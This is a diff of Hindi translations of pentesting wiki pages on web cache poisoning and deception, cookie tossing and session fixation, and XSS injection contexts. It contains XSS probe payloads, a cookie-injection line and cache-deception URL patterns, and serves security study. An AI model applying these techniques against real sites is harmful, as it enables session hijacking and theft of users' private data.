GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए, हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
@ -172,7 +180,7 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि, Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
@ -184,7 +192,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को आगे बढ़ाता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
|
||||
### Finding new headers
|
||||
|
||||
@ -192,9 +200,9 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
## Cache Deception
|
||||
|
||||
Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
Cache Deception का लक्ष्य है कि ग्राहक **उन संसाधनों को लोड करें जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
|
||||
सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
सबसे पहले, ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश शायद प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** **सुरक्षित** उपयोगकर्ता सामग्री के साथ _www.example.com/profile.php_ के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्री को **चुरा** सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
|
||||
@ -203,15 +211,15 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
|
||||
- _कम ज्ञात एक्सटेंशन जैसे_ `.avif` का उपयोग करें
|
||||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ लोड करते हैं जैसे _http://www.example.com/home.php/non-existent.css_ तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ जैसे _http://www.example.com/home.php/non-existent.css_ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
|
||||
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
|
||||
यहां जानें कि [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
यहां जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
||||
@ -4,35 +4,36 @@
|
||||
|
||||
### Description
|
||||
|
||||
यदि एक हमलावर **एक उपडोमेन या किसी कंपनी के डोमेन को नियंत्रित कर सकता है या उपडोमेन में XSS खोजता है** तो वह इस हमले को अंजाम देने में सक्षम होगा।
|
||||
यदि एक हमलावर **एक उपडोमेन या किसी कंपनी के डोमेन को नियंत्रित कर सकता है या उपडोमेन में XSS खोजता है** तो वह इस हमले को करने में सक्षम होगा।
|
||||
|
||||
जैसा कि कुकीज़ हैकिंग अनुभाग में संकेत दिया गया था, जब एक **कुकी को एक डोमेन पर सेट किया जाता है (इसे निर्दिष्ट करते हुए) तो इसे डोमेन और उपडोमेन में उपयोग किया जाएगा।**
|
||||
जैसा कि कुकीज़ हैकिंग अनुभाग में संकेत दिया गया था, जब एक **कुकी को एक डोमेन पर सेट किया जाता है (इसे निर्दिष्ट करते हुए) तो इसका उपयोग डोमेन और उपडोमेन में किया जाएगा।**
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए, **एक हमलावर एक विशिष्ट कुकी को डोमेन और उपडोमेन पर सेट करने में सक्षम होगा ऐसा कुछ करके** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
> इसलिए, **एक हमलावर एक विशिष्ट कुकी को डोमेन और उपडोमेन पर सेट करने में सक्षम होगा ऐसा कुछ करते हुए** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
|
||||
यह खतरनाक हो सकता है क्योंकि हमलावर सक्षम हो सकता है:
|
||||
|
||||
- **शिकार की कुकी को हमलावर के खाते में स्थिर करना** ताकि यदि उपयोगकर्ता ध्यान न दे, **वह हमलावर के खाते में क्रियाएँ करेगा** और हमलावर कुछ दिलचस्प जानकारी प्राप्त कर सकता है (प्लेटफ़ॉर्म पर उपयोगकर्ता के खोज इतिहास की जांच करना, शिकार अपने खाते में अपना क्रेडिट कार्ड सेट कर सकता है...)
|
||||
- यदि **कुकी लॉगिन के बाद नहीं बदलती है**, तो हमलावर बस **एक कुकी को स्थिर कर सकता है (सत्र-स्थिरीकरण)**, शिकार के लॉगिन करने की प्रतीक्षा कर सकता है और फिर **उस कुकी का उपयोग करके शिकार के रूप में लॉगिन कर सकता है**।
|
||||
- कभी-कभी, भले ही सत्र कुकीज़ बदलती हैं, हमलावर पिछले को उपयोग कर सकता है और उसे नया भी प्राप्त होगा।
|
||||
- यदि **कुकी कुछ प्रारंभिक मान सेट कर रही है** (जैसे कि फ्लास्क में जहां **कुकी** **सत्र का CSRF टोकन सेट कर सकती है और यह मान शिकार के लॉगिन करने के बाद बनाए रखा जाएगा), तो **हमलावर इस ज्ञात मान को सेट कर सकता है और फिर इसका दुरुपयोग कर सकता है** (उस परिदृश्य में, हमलावर फिर उपयोगकर्ता को CSRF अनुरोध करने के लिए मजबूर कर सकता है क्योंकि वह CSRF टोकन जानता है)।
|
||||
- मान सेट करने के समान, हमलावर एक अनधिकृत कुकी प्राप्त कर सकता है जो सर्वर द्वारा उत्पन्न होती है, उससे CSRF टोकन प्राप्त कर सकता है और इसका उपयोग कर सकता है।
|
||||
- **शिकार की कुकी को हमलावर के खाते में स्थिर करना** ताकि यदि उपयोगकर्ता ध्यान न दे, **वह हमलावर के खाते में क्रियाएँ करेगा** और हमलावर कुछ दिलचस्प जानकारी प्राप्त कर सकता है (प्लेटफ़ॉर्म पर उपयोगकर्ता की खोजों का इतिहास देखना, शिकार अपने खाते में अपना क्रेडिट कार्ड सेट कर सकता है...)
|
||||
- इसका एक उदाहरण [यहां पाया जा सकता है](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) जहां हमलावर ने अपनी कुकी को विशिष्ट अनुभागों में सेट किया जो एक शिकार **अपने git रिपोजिटरी तक पहुँच के लिए उपयोग करेगा लेकिन हमलावर के खाते से** क्योंकि वह आवश्यक एंडपॉइंट्स में अपनी कुकीज़ सेट करेगा।
|
||||
- यदि **कुकी लॉगिन के बाद नहीं बदलती है**, तो हमलावर बस **एक कुकी (सत्र-स्थिरता)** को स्थिर कर सकता है, शिकार के लॉगिन करने की प्रतीक्षा कर सकता है और फिर **उस कुकी का उपयोग करके शिकार के रूप में लॉगिन कर सकता है**।
|
||||
- कभी-कभी, भले ही सत्र कुकीज़ बदलती हैं, हमलावर पिछले एक का उपयोग करता है और उसे नया भी प्राप्त होता है।
|
||||
- यदि **कुकी कुछ प्रारंभिक मान सेट कर रही है** (जैसे कि फ्लास्क में जहां **कुकी** **सत्र का CSRF टोकन** सेट कर सकती है और यह मान शिकार के लॉगिन करने के बाद बनाए रखा जाएगा), तो **हमलावर इस ज्ञात मान को सेट कर सकता है और फिर इसका दुरुपयोग कर सकता है** (उस परिदृश्य में, हमलावर फिर उपयोगकर्ता को CSRF अनुरोध करने के लिए मजबूर कर सकता है क्योंकि वह CSRF टोकन जानता है)।
|
||||
- मान सेट करने के समान, हमलावर एक अनधिकृत कुकी भी प्राप्त कर सकता है जो सर्वर द्वारा उत्पन्न होती है, उससे CSRF टोकन प्राप्त कर सकता है और इसका उपयोग कर सकता है।
|
||||
|
||||
### Cookie Order
|
||||
|
||||
जब एक ब्राउज़र को एक ही नाम की दो कुकीज़ प्राप्त होती हैं जो **आंशिक रूप से समान दायरे** (डोमेन, उपडोमेन और पथ) को प्रभावित करती हैं, तो **ब्राउज़र दोनों कुकी के मान भेजेगा** जब दोनों अनुरोध के लिए मान्य हों।
|
||||
जब एक ब्राउज़र को एक ही नाम की दो कुकीज़ प्राप्त होती हैं जो **एक ही दायरे को आंशिक रूप से प्रभावित करती हैं** (डोमेन, उपडोमेन और पथ), तो **ब्राउज़र दोनों कुकी के मान भेजेगा** जब दोनों अनुरोध के लिए मान्य हों।
|
||||
|
||||
इस पर निर्भर करते हुए कि किसके पास **सबसे विशिष्ट पथ** है या कौन सा **पुराना है**, ब्राउज़र **पहले कुकी का मान सेट करेगा** और फिर दूसरे का मान जैसे: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
अधिकांश **वेबसाइटें केवल पहले मान का उपयोग करेंगी**। फिर, यदि एक हमलावर कुकी सेट करना चाहता है, तो इसे किसी अन्य के सेट होने से पहले सेट करना बेहतर है या इसे अधिक विशिष्ट पथ के साथ सेट करना चाहिए।
|
||||
अधिकांश **वेबसाइटें केवल पहले मान का उपयोग करेंगी**। फिर, यदि एक हमलावर कुकी सेट करना चाहता है, तो इसे किसी अन्य के सेट होने से पहले सेट करना बेहतर है या इसे अधिक विशिष्ट पथ के साथ सेट करना बेहतर है।
|
||||
|
||||
> [!WARNING]
|
||||
> इसके अलावा, **एक अधिक विशिष्ट पथ में कुकी सेट करने की क्षमता** बहुत दिलचस्प है क्योंकि आप **शिकार को उसकी कुकी के साथ काम करने के लिए मजबूर कर सकते हैं सिवाय उस विशिष्ट पथ के जहां दुर्भावनापूर्ण कुकी सेट की जाएगी**।
|
||||
> इसके अलावा, **एक अधिक विशिष्ट पथ में कुकी सेट करने की क्षमता** बहुत दिलचस्प है क्योंकि आप **शिकार को अपनी कुकी के साथ काम करने के लिए मजबूर कर सकते हैं सिवाय उस विशिष्ट पथ के जहां दुर्भावनापूर्ण कुकी सेट की गई होगी**।
|
||||
|
||||
### Protection Bypass
|
||||
|
||||
इस हमले के खिलाफ संभावित सुरक्षा यह हो सकती है कि **वेब सर्वर एक ही नाम की दो कुकीज़ को लेकिन दो अलग-अलग मानों के साथ अनुरोध स्वीकार नहीं करेगा**।
|
||||
इस हमले के खिलाफ संभावित सुरक्षा यह हो सकती है कि **वेब सर्वर एक ही नाम की दो कुकीज़ को लेकिन दो अलग-अलग मानों के साथ स्वीकार नहीं करेगा**।
|
||||
|
||||
उस परिदृश्य को बायपास करने के लिए जहां हमलावर एक कुकी सेट कर रहा है जब शिकार को पहले ही कुकी दी जा चुकी है, हमलावर एक **कुकी ओवरफ्लो** का कारण बन सकता है और फिर, एक बार जब **वैध कुकी हटा दी जाती है, तो दुर्भावनापूर्ण कुकी सेट कर सकता है**।
|
||||
|
||||
@ -40,11 +41,11 @@
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
एक और उपयोगी **बायपास** यह हो सकता है कि **कुकी के नाम को URL एन्कोड करें** क्योंकि कुछ सुरक्षा 2 कुकीज़ के लिए एक ही नाम की जांच करती हैं और फिर सर्वर कुकी के नामों को डिकोड करेगा।
|
||||
एक और उपयोगी **बायपास** यह हो सकता है कि **कुकी के नाम को URL एन्कोड करें** क्योंकि कुछ सुरक्षा अनुरोध में एक ही नाम की 2 कुकीज़ की जांच करती हैं और फिर सर्वर कुकीज़ के नामों को डिकोड करेगा।
|
||||
|
||||
### Cookie Bomb
|
||||
|
||||
एक Cookie Tossing हमला **Cookie Bomb** हमले को अंजाम देने के लिए भी उपयोग किया जा सकता है:
|
||||
एक Cookie Tossing हमला **Cookie Bomb** हमले को करने के लिए भी उपयोग किया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb.md
|
||||
@ -54,8 +55,8 @@ cookie-bomb.md
|
||||
|
||||
#### **कुकी नाम में `__Host` उपसर्ग का उपयोग करें**
|
||||
|
||||
- यदि एक कुकी नाम में यह उपसर्ग है, तो यह **केवल स्वीकार किया जाएगा** यदि इसे सुरक्षित के रूप में चिह्नित किया गया है, इसे एक सुरक्षित मूल से भेजा गया है, इसमें डोमेन विशेषता शामिल नहीं है, और पथ विशेषता को / पर सेट किया गया है।
|
||||
- **यह उपडोमेन को शीर्ष डोमेन पर कुकी को मजबूर करने से रोकता है क्योंकि इन कुकीज़ को "डोमेन-लॉक" के रूप में देखा जा सकता है।**
|
||||
- यदि एक कुकी नाम में यह उपसर्ग है, तो यह **केवल स्वीकार किया जाएगा** यदि इसे सुरक्षित के रूप में चिह्नित किया गया है, एक सुरक्षित मूल से भेजा गया है, इसमें डोमेन विशेषता शामिल नहीं है, और पथ विशेषता को / पर सेट किया गया है
|
||||
- **यह उपडोमेन को शीर्ष डोमेन पर कुकी को मजबूर करने से रोकता है क्योंकि इन कुकीज़ को "डोमेन-लॉक" के रूप में देखा जा सकता है**
|
||||
|
||||
### References
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
|
||||
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया गया**:
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जाता है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
|
||||
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
|
||||
|
||||
@ -39,25 +39,25 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
- **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप एक **परिलक्षित XSS** का शोषण कर सकते हैं।
|
||||
- **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप एक **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
- **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँचाया जा रहा है, तो आप एक **DOM XSS** का शोषण कर सकते हैं।
|
||||
- **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँच रहा है, तो आप एक **DOM XSS** का शोषण कर सकते हैं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो आपको सबसे पहले यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परिलक्षित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
|
||||
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परिलक्षित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
|
||||
|
||||
### कच्चा HTML
|
||||
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
|
||||
|
||||
### HTML टैग विशेषता के अंदर
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित होता है, तो आप कोशिश कर सकते हैं:
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
```html
|
||||
@ -70,12 +70,12 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
|
||||
|
||||
- यदि यह **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- यदि यह **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **यूनिकोड एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
|
||||
- **Unicode एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -83,7 +83,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\
|
||||
Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहां XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\
|
||||
**अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:**
|
||||
|
||||
{{#ref}}
|
||||
@ -92,13 +92,13 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फ़ंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फ़ंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं**। एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
|
||||
.png>)
|
||||
|
||||
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर (**`[\w\._]`**) की अनुमति दी जा सके।
|
||||
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
|
||||
|
||||
हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
|
||||
|
||||
@ -112,9 +112,9 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
